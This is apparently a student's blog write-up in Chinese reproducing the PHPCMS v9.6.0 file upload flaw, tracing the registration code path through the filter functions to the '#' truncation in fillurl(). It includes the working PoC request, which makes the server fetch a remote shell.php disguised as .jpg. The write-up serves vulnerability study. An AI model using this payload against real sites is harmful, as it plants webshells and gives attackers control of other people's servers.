phpcmsv9文件上传漏洞[复现]

前言

phpcmsv9.6.0
ubuntu19
mysql+php5.6

写在前面

这两天在家里,状态特别不好,因为家里的网速差,上个网都慢的要死,所以整的我整个人都十分的郁闷
然后提前溜回学校吧,还是实验室好啊,今天尝试复现phpcmsv9.6中的任意文件上传漏洞,在复现的过程中,看完POC后,自己尝试寻找触发点,其间意识到debug的重要性,然后差不多一个下午都在试着使用debug,然后绕了不少弯路,现在还在学习使用,这次的复现,debug起到至关重要的作用。
然后有一个要命的地方,函数的操作和数据库之间的联系,我发现我没有很好的联系在一起。

0x01 漏洞原理

由于过滤的不当,使得文件可以绕过后缀限制,实现文件上传。

0x02 漏洞分析

触发点追溯

路由就不介绍了…..
看过POC,其中payload为:

1
2
?m=member&c=index&a=register&siteid=1
POST:siteid=1&modelid=11&username=123456&password=123456&email=123456@qq.com&info[content]=<img src=http://127.0.0.1/shell.php#.jpg>&dosubmit=1&protocol=

根据地址,问题出在phpcms/modules/member/index.php::register()
找到它的位置….

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
public function register() {
$this->_session_start();
//获取用户siteid
$siteid = isset($_REQUEST['siteid']) && trim($_REQUEST['siteid']) ? intval($_REQUEST['siteid']) : 1;
//定义站点id常量
if (!defined('SITEID')) {
define('SITEID', $siteid);
}
... ...
if(isset($_POST['dosubmit'])) {
if($member_setting['enablcodecheck']=='1'){//开启验证码
if ((empty($_SESSION['connectid']) && $_SESSION['code'] != strtolower($_POST['code']) && $_POST['code']!==NULL) || empty($_SESSION['code'])) {
showmessage(L('code_error'));
} else {
$_SESSION['code'] = '';
}
}

$userinfo = array();
$userinfo['encrypt'] = create_randomstr(6);

$userinfo['username'] = (isset($_POST['username']) && is_username($_POST['username'])) ? $_POST['username'] : exit('0');
$userinfo['nickname'] = (isset($_POST['nickname']) && is_username($_POST['nickname'])) ? $_POST['nickname'] : '';

$userinfo['email'] = (isset($_POST['email']) && is_email($_POST['email'])) ? $_POST['email'] : exit('0');
$userinfo['password'] = (isset($_POST['password']) && is_badword($_POST['password'])==false) ? $_POST['password'] : exit('0');

$userinfo['email'] = (isset($_POST['email']) && is_email($_POST['email'])) ? $_POST['email'] : exit('0');

$userinfo['modelid'] = isset($_POST['modelid']) ? intval($_POST['modelid']) : 10;
$userinfo['regip'] = ip();
$userinfo['point'] = $member_setting['defualtpoint'] ? $member_setting['defualtpoint'] : 0;
$userinfo['amount'] = $member_setting['defualtamount'] ? $member_setting['defualtamount'] : 0;
$userinfo['regdate'] = $userinfo['lastdate'] = SYS_TIME;
$userinfo['siteid'] = $siteid;
$userinfo['connectid'] = isset($_SESSION['connectid']) ? $_SESSION['connectid'] : '';
$userinfo['from'] = isset($_SESSION['from']) ? $_SESSION['from'] : '';
//手机强制验证
... ...
... ...
if($member_setting['choosemodel']) {
require_once CACHE_MODEL_PATH.'member_input.class.php';
require_once CACHE_MODEL_PATH.'member_update.class.php';
$member_input = new member_input($userinfo['modelid']);
$_POST['info'] = array_map('new_html_special_chars',$_POST['info']);
$user_model_info = $member_input->get($_POST['info']);
}
... ...
... ...

中间的代码太长了,自行看源码吧….其间的很多代码是一个验证的过程,根据传入参数的需要,其实和本漏洞都没有太大的关系,通过debug可以很快速的过掉这些无用代码….话是这么说,但是我debug并没有用的特别熟练。
还是像之前那样,先看看构造函数

1
2
3
4
function __construct() {
parent::__construct();
$this->http_user_agent = $_SERVER['HTTP_USER_AGENT'];
}

这个发现好像没啥问题,就是继承了父类,直接看该函数,先对siteid和dosubmit进行验证,然后我们输入用户信息,实际上通过浏览器访问该地址实际上就就是一个注册过程。(这里插一句,就是在分析的过程中可能会遇到函数不懂作用的,然后一路手动跟着跑,跑到最后,看到懵逼的那种….所以我们要善于使用debug,一些不懂如何使用的函数,可以借助debug)
关键代码:

1
$user_model_info = $member_input->get($_POST['info']);

跟进函数get()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
function get($data) {//$_POST['info']
$this->data = $data = trim_script($data);
$model_cache = getcache('member_model', 'commons');
$this->db->table_name = $this->db_pre.$model_cache[$this->modelid]['tablename'];

$info = array();
$debar_filed = array('catid','title','style','thumb','status','islink','description');
if(is_array($data)) {
foreach($data as $field=>$value) {
if($data['islink']==1 && !in_array($field,$debar_filed)) continue;
$field = safe_replace($field);
$name = $this->fields[$field]['name'];
$minlength = $this->fields[$field]['minlength'];
$maxlength = $this->fields[$field]['maxlength'];
$pattern = $this->fields[$field]['pattern'];
$errortips = $this->fields[$field]['errortips'];
if(empty($errortips)) $errortips = "$name 不符合要求!";
$length = empty($value) ? 0 : strlen($value);
if($minlength && $length < $minlength && !$isimport) showmessage("$name 不得少于 $minlength 个字符!");
if (!array_key_exists($field, $this->fields)) showmessage('模型中不存在'.$field.'字段');
if($maxlength && $length > $maxlength && !$isimport) {
showmessage("$name 不得超过 $maxlength 个字符!");
} else {
str_cut($value, $maxlength);
}
if($pattern && $length && !preg_match($pattern, $value) && !$isimport) showmessage($errortips);
if($this->fields[$field]['isunique'] && $this->db->get_one(array($field=>$value),$field) && ROUTE_A != 'edit') showmessage("$name 的值不得重复!");
$func = $this->fields[$field]['formtype'];
if(method_exists($this, $func)) $value = $this->$func($field, $value);

$info[$field] = $value;
}
}
return $info;
}

先不考虑过滤的问题先找到是什么触发了漏洞(主要是考虑到过滤的问题,我发现我巨菜…..)

1
if(method_exists($this, $func)) $value = $this->$func($field, $value);

这里的$func在debug下,会跳转到editor()函数

1
2
3
4
5
6
7
8
function editor($field, $value) {
$setting = string2array($this->fields[$field]['setting']);
$enablesaveimage = $setting['enablesaveimage'];
$site_setting = string2array($this->site_config['setting']);
$watermark_enable = intval($site_setting['watermark_enable']);
$value = $this->attachment->download('content', $value,$watermark_enable);
return $value;
}

一看到download()毫不犹豫的跟进download()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
$this->upload_func = 'copy';
... ...
... ...
function download($field, $value,$watermark = '0',$ext = 'gif|jpg|jpeg|bmp|png', $absurl = '', $basehref = '')
{
global $image_d;
$this->att_db = pc_base::load_model('attachment_model');
$upload_url = pc_base::load_config('system','upload_url');
$this->field = $field;
$dir = date('Y/md/');
$uploadpath = $upload_url.$dir;
$uploaddir = $this->upload_root.$dir;
$string = new_stripslashes($value);
if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value;
$remotefileurls = array();
foreach($matches[3] as $matche)
{
if(strpos($matche, '://') === false) continue;
dir_create($uploaddir);
$remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);
}
unset($matches, $string);
$remotefileurls = array_unique($remotefileurls);
$oldpath = $newpath = array();
foreach($remotefileurls as $k=>$file) {
if(strpos($file, '://') === false || strpos($file, $upload_url) !== false) continue;
$filename = fileext($file);
$file_name = basename($file);
$filename = $this->getname($filename);

$newfile = $uploaddir.$filename;
$upload_func = $this->upload_func;
if($upload_func($file, $newfile)) {
$oldpath[] = $k;
$GLOBALS['downloadfiles'][] = $newpath[] = $uploadpath.$filename;
@chmod($newfile, 0777);
$fileext = fileext($filename);
if($watermark){
watermark($newfile, $newfile,$this->siteid);
}
$filepath = $dir.$filename;
$downloadedfile = array('filename'=>$filename, 'filepath'=>$filepath, 'filesize'=>filesize($newfile), 'fileext'=>$fileext);
$aid = $this->add($downloadedfile);
$this->downloadedfiles[$aid] = $filepath;
}
}
return str_replace($oldpath, $newpath, $value);
}

关键代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$upload_func = $this->upload_func;
if($upload_func($file, $newfile)) {
$oldpath[] = $k;
$GLOBALS['downloadfiles'][] = $newpath[] = $uploadpath.$filename;
@chmod($newfile, 0777);
$fileext = fileext($filename);
if($watermark){
watermark($newfile, $newfile,$this->siteid);
}
$filepath = $dir.$filename;
$downloadedfile = array('filename'=>$filename, 'filepath'=>$filepath, 'filesize'=>filesize($newfile), 'fileext'=>$fileext);
$aid = $this->add($downloadedfile);
$this->downloadedfiles[$aid] = $filepath;
}
}

验证,创建路径给路径权限,创建新文件,将上传内容写入新文件,返回新文件的路径,上传文件成功。(这里我是根据POC,一路debug的,基本就是把作者的思路走了一遍….好菜啊,都没有自己的想法)

考虑过滤

作者给的payload中的$info['content']=<img src="http://vps/shell.php#.jpg">
这个让我想起之前神盾杯的时候,锚点过滤的一道题,参考学长的博客中神盾杯那篇
分析一下,为啥这里可以使用’#’
定位:modules/member/index.php::register() 137行
register()函数中

1
$_POST['info'] = array_map('new_html_special_chars',$_POST['info'])

跟进函数new_html_special_chars()

1
2
3
4
5
6
7
8
9
10
11
12
**
* 返回经htmlspecialchars处理过的字符串或数组
* @param $obj 需要处理的字符串或数组
* @return mixed
*/
function new_html_special_chars($string) {
$encoding = 'utf-8';
if(strtolower(CHARSET)=='gbk') $encoding = 'ISO-8859-15';
if(!is_array($string)) return htmlspecialchars($string,ENT_QUOTES,$encoding);
foreach($string as $key => $val) $string[$key] = new_html_special_chars($val);
return $string;
}

其中的htmlspecialchars(),用于防止xss攻击

定位caches/caches_model/caches_data/member_input.class.php::get() 30行

1
$field = safe_replace($field);

跟进safe_replace()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

/**
* 安全过滤函数
*
* @param $string
* @return string
*/
function safe_replace($string) {
$string = str_replace('%20','',$string);
$string = str_replace('%27','',$string);
$string = str_replace('%2527','',$string);
$string = str_replace('*','',$string);
$string = str_replace('"','&quot;',$string);
$string = str_replace("'",'',$string);
$string = str_replace('"','',$string);
$string = str_replace(';','',$string);
$string = str_replace('<','&lt;',$string);
$string = str_replace('>','&gt;',$string);
$string = str_replace("{",'',$string);
$string = str_replace('}','',$string);
$string = str_replace('\\','',$string);
return $string;
}

然后来到download()函数,位于phpcms/libs/classes/attachment.class.php::download() 152行

1
$string = new_stripslashes($value);

跟进new_stripslashes()

1
2
3
4
5
6
7
8
9
10
/**
* 返回经stripslashes处理过的字符串或数组
* @param $string 需要处理的字符串或数组
* @return mixed
*/
function new_stripslashes($string) {
if(!is_array($string)) return stripslashes($string);
foreach($string as $key => $val) $string[$key] = new_stripslashes($val);
return $string;
}

接着看到153行

1
if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches))  return $value;

这个正则表达式可以理解为:

1
(href|src)=([\"|']?)([^\"'>]+\.(gif|jpg|jpeg|bmp|png))\2

这里检测后缀名为gif|jpg|jpeg|bmp|png的文件,但是由于过滤不够严格,所以还是可以绕过,demo一下

在神盾杯的那道题中,之所以可以使用锚点,就是因为在url请求中’#’以后的数据,在请求中是不带的

而在这里,我们会看到过滤后的数据会进入fillurl()函数

1
2
3
4
5
6
7
8
...
foreach($matches[3] as $matche)
{
if(strpos($matche, '://') === false) continue;
dir_create($uploaddir);
$remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);
}
...

跟进函数fillurl()::300行

1
2
3
4
...
$pos = strpos($surl,'#');
if($pos>0) $surl = substr($surl,0,$pos);
...

截取’#’之前的内容,所以绕过过滤后,将会通过http://vps/shell.php得到文件内容

总结

还是那句话,善于使用debug,动态调试,然后在一些小的地方,可以通过var_dump(),print_r(),这种函数,进行手动debug,代码的分析能力还需提高。
要加深对数据库的学习。多学吧,送给自己一句话:现在浪费的时间,都是给未来的自己挖坑。

0%